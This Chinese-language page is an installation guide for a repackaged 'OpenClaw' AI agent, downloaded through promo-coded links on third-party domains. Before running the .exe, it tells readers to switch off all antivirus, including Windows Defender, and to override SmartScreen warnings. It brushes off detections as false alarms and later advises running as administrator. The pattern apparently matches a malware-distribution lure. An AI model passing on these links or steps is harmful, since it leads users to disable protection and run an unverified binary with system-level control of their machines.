✨ OpenClaw v2.7.9（虾壳云版）一键安装部署指南 ✨
全系统适配 | 可视化操作 | 内置全套依赖 | 零基础友好
📌 基础信息说明
- 适配系统：Windows10/11 64 位、macOS
- 当前版本：v2.7.9（虾壳云版）
- 压缩包大小：45.7MB
🔗 对应系统下载链接
- Windows 版本：https://xiake.yun/api/download/package/18?promoCode=IVD643FDE29A
- macOS 版本：https://openclaw.ikidi.top/api/download/package/35?promoCode=IVD643FDE29A
⚠️ 核心前置注意事项（安装成功关键）
在执行下载、解压、启动程序等操作前，请彻底关闭电脑内所有安全防护类软件，包含 360 安全卫士、腾讯电脑管家、火绒以及 Windows Defender 实时防护功能。
OpenClaw 具备系统权限调用、本地文件读写、键鼠模拟等能力，容易被安全软件判定为风险程序。一旦核心文件被拦截、隔离或删除，会直接导致安装失败。该项目为开源项目，大家可前往 GitHub 核验源码安全性，关闭防护软件仅为规避误拦截问题。
📝 第一步：获取一键安装包
点击上方对应操作系统的链接下载安装包，建议使用浏览器自带下载工具或迅雷进行下载，能够有效降低文件下载中断、压缩包损坏的概率。
📝 第二步：解压程序并选择安装路径
- 解压工具优先选用 WinRAR、7-Zip 等专业解压软件，不建议使用系统自带解压工具，大概率会造成文件损坏。右键压缩包，选择「解压到当前文件夹」，解压完成后会得到
Openclaw-win文件夹。 - 进入解压后的目录，双击带有红色龙虾图标的
Openclaw Windows 一键启动.exe程序。 - 若弹出 Windows SmartScreen 拦截提示，依次点击「更多信息」→「仍要运行」即可正常启动程序。
- 进入软件欢迎界面后，点击底部「开始使用」，跳转至安装路径选择页面。
📂 安装路径规范（严格遵守）
安装目录必须为纯英文路径，路径中严禁出现中文、空格、￥、& 等特殊字符；同时不建议将软件安装在 C 盘，避免占用系统盘存储空间。
- 推荐路径示例：
D:\OpenClawE:\AI\OpenClaw - 错误路径示例：
D:\软件\OpenClawD:\小龙虾
确认路径后，勾选「我已阅读并同意《用户协议》和《免责声明》」，点击「开始安装」。
📝 第三步：全自动安装部署（无需手动操作）
点击安装按钮后，程序会自动执行整套部署流程，整体耗时3-5 分钟，具体时长根据电脑硬件配置有所差异。安装过程中请勿关闭窗口，否则会直接造成部署中断。
程序后台会自动完成以下一系列操作：
- 检测电脑运行环境，自动补全 Git、Node.js、Python 等缺失的运行依赖；
- 部署 OpenClaw v2.7.9 核心项目文件，完成对应系统适配工作；
- 安装浏览器控制工具、键鼠模拟工具，为自动化操作提供支撑；
- 生成设备专属
.env配置文件，同步完成基础注册并在桌面创建软件快捷方式。
当安装进度达到 100% 时，程序会自动启动 OpenClaw 主程序。
📝 第四步：首次启动，核验部署状态
安装完成后程序会自动进入初始化界面，页面显示「正在等待 Gateway 就绪...」属于正常现象。第一次启动需要加载初始化后台服务，建议耐心等待 1-3 分钟，后续再次启动仅需数秒即可完成。
当软件主界面右上角显示「Gateway 在线」，就代表整体部署顺利完成。
🖥️ 界面区域功能简介
- 右上角区域：展示 Gateway 运行状态、重启按钮、日志入口、剩余 Tokens 额度；
- 左侧区域：「本地」「渠道」切换栏，支持新建对话、查看历史会话记录；
- 中间区域：对话交互窗口，搭载 AI 智能体，支持多模型切换、代码高亮展示；
- 底部区域：自然语言指令输入框（Enter 发送指令，Shift+Enter 实现换行），可切换自动 / 普通运行模式。
📝 第五步：正式使用，下达 AI 指令
部署完成后无需额外配置，直接在底部输入框输入自然语言指令即可使用。指令描述越具体，程序执行效果越精准。
🧪 新手测试指令（可直接复制使用）
- 帮我整理 D 盘下载文件夹，按文件类型分类创建文件夹
- 打开记事本，输入 “OpenClaw 部署成功”，保存到桌面
- 查询当前电脑的磁盘可用空间，整理成文字告诉我
❗ 常见问题快速排查方案
安装失败 / 启动无响应检查所有安全软件是否完整关闭；若防护软件已关闭仍出现异常，重新解压安装包后再次尝试安装。
Gateway 持续显示离线① 检查安装路径是否为纯英文目录，剔除中文与各类特殊字符；② 点击界面右上角「重启」按钮重载 Gateway 服务；③ 关闭程序，以管理员身份重新运行。
提示网络错误第一次启动软件需要少量网络资源完成依赖初始化，请确保设备网络通畅，关闭代理、VPN 后重新尝试。
Tokens 额度不足软件内置基础额度可支撑日常基础功能使用，额度耗尽后可在软件界面内补充，不会影响软件核心功能运行。
无法输入、发送指令等待 Gateway 状态切换为在线后再进行操作；若问题依旧，建议重新安装软件。
